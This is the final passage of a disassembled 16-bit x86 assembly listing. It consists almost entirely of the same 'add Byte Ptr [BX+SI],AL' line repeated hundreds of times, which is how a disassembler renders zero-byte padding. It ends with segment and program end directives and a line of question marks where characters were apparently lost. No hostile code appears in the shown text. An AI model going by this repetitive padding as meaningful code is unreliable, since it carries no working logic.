		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
CODE_SEG_1      ends



		end     start
?????????????????????????????????????????????????????????????????????????????